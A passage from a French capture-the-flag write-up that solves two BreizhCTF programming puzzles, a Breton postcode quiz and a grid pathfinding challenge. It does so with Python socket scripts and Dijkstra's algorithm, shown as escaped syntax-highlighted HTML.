&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;read_until&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;bzhctf&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;BZHCTF&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;KENAVO&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;break&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;vert&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[92m&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;rouge&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x1b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;[91m&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;postcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;re&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;(\d+)\?&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;group&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;reponse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;vert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;reponse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;YA! Me gwel &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mes_villes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;postcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; :)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;reponse&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;NANN! Me ne gwel ket &lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mes_villes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;postcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; :/&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reponse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Au bout d’un certain nombre de bonnes réponses, on obtient le flag (que je n’ai pas noté).&lt;/p&gt;

&lt;h2 id=&quot;breizh-path&quot;&gt;Breizh Path&lt;/h2&gt;

&lt;p&gt;Tout comme le challenge précédent, BreizhPath nécessite d’interagir avec un protocole texte relativement pratique pour un humain mais pas nécessairement facile à automatiser.
Certaines parties du texte sont colorées, ajoutant à la difficulté.&lt;/p&gt;

&lt;p&gt;Le but de ce challenge est de trouver le chemin le plus court entre deux points d’une carte représentée par un quadrillage possédant des murs.
Il nous faut donc un algorithme de “path finding”, on peut citer entre autre Breadth First Search, Dijkstra ou encore A*. Pour plus d’informations sur ces algorithmes, je recommande &lt;a href=&quot;https://www.redblobgames.com/pathfinding/a-star/introduction.html&quot;&gt;Introduction to A*&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Pour gagner du temps, on peut récupérer l’implémentation python sur &lt;a href=&quot;https://www.redblobgames.com/pathfinding/a-star/implementation.html#python&quot;&gt;la page dédiée&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Ensuite il nous reste à récupérer le labyrinthe depuis le socket, le stocker dans un format de donnée compatible avec notre implémentation, puis récupérer le résultat et le convertir au format attendu.&lt;/p&gt;

&lt;p&gt;Voilà à quoi pouvait ressembler une carte :&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; -  -  -  -  -  -  -  -  -  - 
 -  -  -  -  -  -  -  -  -  - 
 K  B  -  -  -  -  -  -  -  - 
 -  B  B  B  -  B  B  B  -  - 
 -  B  B  -  B  B  B  B  -  - 
 -  B  B  B  B  S  B  B  B  - 
 B  B  B  B  B  B  B  -  -  - 
 B  B  B  B  B  B  -  -  -  - 
 B  B  -  -  B  -  -  -  -  - 
 B  B  -  -  -  -  -  -  -  -
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Il faut donc trouver le chemin le plus court de S à K. Dans ce cas, il fallait aller 4 fois à gauche puis 3 fois en haut puis 1 fois à gauche.
On nous dit que :&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;haut = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;i&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;bas = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;k&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;gauche = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;j&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;droite = &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;l&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;La réponse attendue est donc &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jjjjiiij&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Pour l’implementation, j’ai utilisé Dijkstra, mais A* aurait été suffisant et aurait nécessité moins de ressources.
On suppose que le fichier &lt;a href=&quot;https://www.redblobgames.com/pathfinding/a-star/implementation.py&quot;&gt;implementation.py&lt;/a&gt; contenant A* et Dijkstra fourni par Red Blob Games se trouve dans le même dossier que notre solution.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;implementation&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;GridWithWeights&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dijkstra_search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;reconstruct_path&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;148.60.87.243&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;9500&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&amp;lt;ENTER&amp;gt;&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;200000&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;convert_path_to_relative_moves&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&apos;&lt;/span&gt;

    &lt;span class=&quot;n&quot;&gt;dx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;dy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;][&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# right
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;l&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert_path_to_relative_moves&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# left
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;j&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert_path_to_relative_moves&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# bottom
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;k&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert_path_to_relative_moves&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dy&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# up
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;convert_path_to_relative_moves&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:])&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# get input
&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&apos;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt;  &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;New path to find&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;sa&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Out of the Grid&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&apos;&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;st&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;recv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8096&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;utf-8&lt;/span&gt;&lt;span class=&quot;sh&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;strip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
